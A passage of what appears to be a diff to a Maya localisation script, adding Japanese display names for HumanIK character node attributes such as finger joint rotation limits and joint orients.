+setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", "左手追加指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxis", "左手追加指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisx", "左手追加指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisy", "左手追加指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateAxisz", "左手追加指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrient", "左手追加指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrientx", "左手追加指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrienty", "左手追加指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3JointOrientz", "左手追加指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimit", "左手追加指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitx", "左手追加指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimity", "左手追加指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitz", "左手追加指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimit", "左手追加指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitx", "左手追加指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimity", "左手追加指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitz", "左手追加指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnablex", "左手追加指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnabley", "左手追加指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MinRLimitEnablez", "左手追加指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnablex", "左手追加指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnabley", "左手追加指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger3MaxRLimitEnablez", "左手追加指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4", "左手追加指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4T", "左手追加指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Tx", "左手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Ty", "左手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Tz", "左手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4R", "左手追加指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Rx", "左手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Ry", "左手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Rz", "左手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4S", "左手追加指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sx", "左手追加指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sy", "左手追加指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4Sz", "左手追加指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", "左手追加指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxis", "左手追加指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisx", "左手追加指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisy", "左手追加指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateAxisz", "左手追加指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrient", "左手追加指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrientx", "左手追加指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrienty", "左手追加指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4JointOrientz", "左手追加指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimit", "左手追加指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitx", "左手追加指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimity", "左手追加指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitz", "左手追加指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimit", "左手追加指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitx", "左手追加指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimity", "左手追加指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitz", "左手追加指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnablex", "左手追加指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnabley", "左手追加指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MinRLimitEnablez", "左手追加指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnablex", "左手追加指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnabley", "左手追加指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandExtraFinger4MaxRLimitEnablez", "左手追加指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1", "右手親指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1T", "右手親指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Tx", "右手親指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Ty", "右手親指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Tz", "右手親指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1R", "右手親指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Rx", "右手親指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Ry", "右手親指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Rz", "右手親指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1S", "右手親指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sx", "右手親指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sy", "右手親指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1Sz", "右手親指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", "右手親指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxis", "右手親指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisx", "右手親指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisy", "右手親指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1RotateAxisz", "右手親指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrient", "右手親指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrientx", "右手親指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrienty", "右手親指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1JointOrientz", "右手親指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimit", "右手親指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitx", "右手親指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimity", "右手親指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitz", "右手親指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimit", "右手親指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitx", "右手親指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimity", "右手親指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitz", "右手親指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnablex", "右手親指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnabley", "右手親指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MinRLimitEnablez", "右手親指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnablex", "右手親指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnabley", "右手親指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb1MaxRLimitEnablez", "右手親指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2", "右手親指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2T", "右手親指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Tx", "右手親指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Ty", "右手親指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Tz", "右手親指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2R", "右手親指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Rx", "右手親指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Ry", "右手親指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Rz", "右手親指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2S", "右手親指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sx", "右手親指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sy", "右手親指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2Sz", "右手親指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", "右手親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxis", "右手親指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisx", "右手親指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisy", "右手親指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2RotateAxisz", "右手親指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrient", "右手親指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrientx", "右手親指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrienty", "右手親指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2JointOrientz", "右手親指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimit", "右手親指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitx", "右手親指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimity", "右手親指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitz", "右手親指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimit", "右手親指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitx", "右手親指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimity", "右手親指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitz", "右手親指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnablex", "右手親指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnabley", "右手親指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MinRLimitEnablez", "右手親指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnablex", "右手親指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnabley", "右手親指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb2MaxRLimitEnablez", "右手親指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3", "右手親指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3T", "右手親指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Tx", "右手親指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Ty", "右手親指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Tz", "右手親指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3R", "右手親指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Rx", "右手親指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Ry", "右手親指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Rz", "右手親指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3S", "右手親指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sx", "右手親指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sy", "右手親指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3Sz", "右手親指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", "右手親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxis", "右手親指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisx", "右手親指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisy", "右手親指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3RotateAxisz", "右手親指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrient", "右手親指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrientx", "右手親指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrienty", "右手親指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3JointOrientz", "右手親指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimit", "右手親指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitx", "右手親指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimity", "右手親指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitz", "右手親指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimit", "右手親指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitx", "右手親指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimity", "右手親指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitz", "右手親指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnablex", "右手親指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnabley", "右手親指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MinRLimitEnablez", "右手親指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnablex", "右手親指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnabley", "右手親指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb3MaxRLimitEnablez", "右手親指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4", "右手親指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4T", "右手親指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Tx", "右手親指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Ty", "右手親指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Tz", "右手親指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4R", "右手親指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Rx", "右手親指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Ry", "右手親指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Rz", "右手親指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4S", "右手親指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sx", "右手親指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sy", "右手親指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4Sz", "右手親指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", "右手親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxis", "右手親指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisx", "右手親指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisy", "右手親指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4RotateAxisz", "右手親指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrient", "右手親指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrientx", "右手親指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrienty", "右手親指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4JointOrientz", "右手親指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimit", "右手親指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitx", "右手親指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimity", "右手親指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitz", "右手親指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimit", "右手親指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitx", "右手親指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimity", "右手親指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitz", "右手親指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnablex", "右手親指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnabley", "右手親指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MinRLimitEnablez", "右手親指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnablex", "右手親指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnabley", "右手親指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandThumb4MaxRLimitEnablez", "右手親指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1", "右手人差指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1T", "右手人差指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Tx", "右手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Ty", "右手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Tz", "右手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1R", "右手人差指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Rx", "右手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Ry", "右手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Rz", "右手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1S", "右手人差指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sx", "右手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sy", "右手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1Sz", "右手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", "右手人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxis", "右手人差指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisx", "右手人差指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisy", "右手人差指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1RotateAxisz", "右手人差指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrient", "右手人差指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrientx", "右手人差指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrienty", "右手人差指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1JointOrientz", "右手人差指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimit", "右手人差指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitx", "右手人差指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimity", "右手人差指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitz", "右手人差指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimit", "右手人差指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitx", "右手人差指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimity", "右手人差指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitz", "右手人差指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnablex", "右手人差指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnabley", "右手人差指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MinRLimitEnablez", "右手人差指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnablex", "右手人差指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnabley", "右手人差指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex1MaxRLimitEnablez", "右手人差指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2", "右手人差指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2T", "右手人差指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Tx", "右手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Ty", "右手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Tz", "右手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2R", "右手人差指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Rx", "右手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Ry", "右手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Rz", "右手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2S", "右手人差指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sx", "右手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sy", "右手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2Sz", "右手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateOrder", "右手人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxis", "右手人差指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisx", "右手人差指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisy", "右手人差指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2RotateAxisz", "右手人差指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandIndex2JointOrient", "右手人差指 2 のジョイント方向" ); 